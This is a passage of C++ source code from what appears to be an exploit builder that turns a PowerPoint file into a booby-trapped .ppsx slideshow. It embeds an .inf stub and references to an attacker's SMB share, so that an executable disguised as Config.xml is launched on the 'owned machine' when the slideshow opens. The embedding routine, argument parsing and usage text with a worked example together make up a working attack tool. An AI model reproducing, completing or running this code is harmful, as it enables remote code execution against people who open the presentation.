        Folder         *pFolder = NULL;
        wstring         stdWstrDir;
     
     
        VariantInit(&varDir);
        VariantInit(&varFile);
        VariantInit(&varOption);
     
        stdWstrDir.append(fnameZip);
        stdWstrDir.append(L"\\ppt\\embeddings");
     
        CHK_HR( CoCreateInstance( CLSID_Shell, NULL, CLSCTX_INPROC_SERVER, IID_IShellDispatch, (LPVOID*)&pShell) );
     
       
        varDir.vt = VT_BSTR;
        varDir.bstrVal = _bstr_t(stdWstrDir.c_str());
     
        CHK_HR( pShell ->NameSpace(varDir, &pFolder) );
     
        varFile.vt = VT_BSTR;
        varFile.bstrVal = _bstr_t(fnameData);
     
        varOption.vt = VT_I4;
        varOption.lVal = FOF_NO_UI;
     
        CHK_HR( pFolder ->CopyHere( varFile, varOption) );
     
        Sleep( 1000 );
     
        bres = true;
     
     
    _Done:
     
        //VariantClear( &varOption );
        //VariantClear( &varFile );
        //VariantClear( &varDir );
     
        SAFE_RELEASE_BY_REF( &pFolder );
     
        SAFE_RELEASE_BY_REF( &pShell );
     
        return bres;
    }
     
    bool parse_cmd(
            __in int argc,
            wchar_t **argv,
            wstring *fnamePptIn,
            wstring *smbPath,
            wstring *fnameExe,
            wstring *fnameExeOnSmb,
            wstring *fnameInfOnSmb,
            bool    *bForceUpload
            )
    {
        wstring stdOpt;
        bool    bFnamePptIn = false,
                bSmbPath = false,
                bFnameExe = false,
                bFnameExeOnSmb = false,
                bFnameInfOnSmb = false;
     
     
        if (argc < 11) {
     
            print_usage_and_exit(argv[0]);
     
            return false;
        }
     
        for (int i = 1; i < argc; i++) {
           
            stdOpt.clear();
     
            stdOpt.append(argv[i]);
     
            if (stdOpt.compare(L"--force-upload") == 0) {
     
                *bForceUpload = true;
     
                continue;
            }
     
            if ((i+1) >= argc) {
     
                printf("[-] ERROR: malformed input\n");
     
                return false;
            }
     
            if ( stdOpt.compare(L"-p") == 0 ) {
     
                fnamePptIn ->clear();
     
                fnamePptIn ->append( argv[i+1]);
     
                i+=1;
     
                bFnamePptIn = true;
     
                continue;
            }
           
            if ( stdOpt.compare(L"-smb") == 0 ) {
     
                smbPath ->clear();
     
                smbPath ->append( argv[i+1]);
     
                i+=1;
     
                bSmbPath = true;
     
                continue;
            }
           
            if ( stdOpt.compare(L"-ef") == 0 ) {
     
                fnameExe ->clear();
     
                fnameExe ->append( argv[i+1]);
     
                i+=1;
     
                bFnameExe = true;
     
                continue;
            }
     
            if ( stdOpt.compare(L"-eof") == 0 ) {
     
                fnameExeOnSmb ->clear();
     
                fnameExeOnSmb ->append( argv[i+1]);
     
                i+=1;
     
                bFnameExeOnSmb = true;
     
                continue;
            }
     
            if ( stdOpt.compare(L"-iof") == 0 ) {
     
                fnameInfOnSmb ->clear();
     
                fnameInfOnSmb ->append( argv[i+1]);
     
                i+=1;
     
                bFnameInfOnSmb = true;
     
                continue;
            }
        }
     
        if (!bFnamePptIn || !bSmbPath || !bFnameExe || !bFnameExeOnSmb || !bFnameInfOnSmb) {
     
            printf("[-] ERROR: Not all options specified\n");
     
            return false;
        }
     
        return true;
    }
     
    void print_usage_and_exit(wchar_t *exe) {
     
        wprintf(
            L" **************************************************************** \n"
            L"[?] Usage: %s [option|[option]...]                                \n"
            L" **************************************************************** \n"
            L"  options:                                                        \n"
            L"  -p      - path to input PowerPoint presentation file;           \n"
            L"  -smb    - UNC path on remote server in which files should be    \n"
            L"            placed, f.e: \\\\192.168.3.100\\public ;              \n"
            L"  -ef     - path to executable file to be launched on 0wned       \n"
            L"            machine; content of file 'll be stored into -eof      \n"
            L"            file;                                                 \n"
            L"  -eof    - name of file into which -ef file's content to be      \n"
            L"            stored; exploit uploads this file onto -smb path      \n"
            L"            automatically; make sure that -eof file is located    \n"
            L"            on remote server before exploitation phase;           \n"
            L"  -iof    - name of .inf file to be stored on remote server;      \n"
            L"            exploit extracts .inf stub from self and stores into  \n"
            L"            file on remote host automatically; make sure that     \n"
            L"            this file exists on remote server before exploitation \n"
            L"            phase;                                                \n"
            L"  --force-upload                                                  \n"
            L"          - specifies explicit file's uploading to remote server; \n"
            L" **************************************************************** \n"
            L" EXAMPLE:                                                         \n"
            L" -p a.pptx -smb \\\\192.168.0.1\\public -ef E:\\stub.exe  \\      \n"
            L"           -eof Config.xml -iof Preview.inf --force-upload        \n"
            L"  creates a.pptx.saved.ppsx file from a.pptx;                     \n"
            L"  stores stub.exe into \\\\192.168.0.1\\public\\Config.xml;       \n"
            L"  stores .inf stub into \\\\192.168.0.1\\public\\Preview.inf;     \n"
            L" **************************************************************** \n"
            L" NOTES:                                                           \n"
            L"  -smb, -iof, -eof are written into presentations, so make sure   \n"
            "   that specified things exist in real life;                       \n"
            L" **************************************************************** \n",
            exe);
     
        ExitProcess(0);
    }
     
    /*  EOF
        */

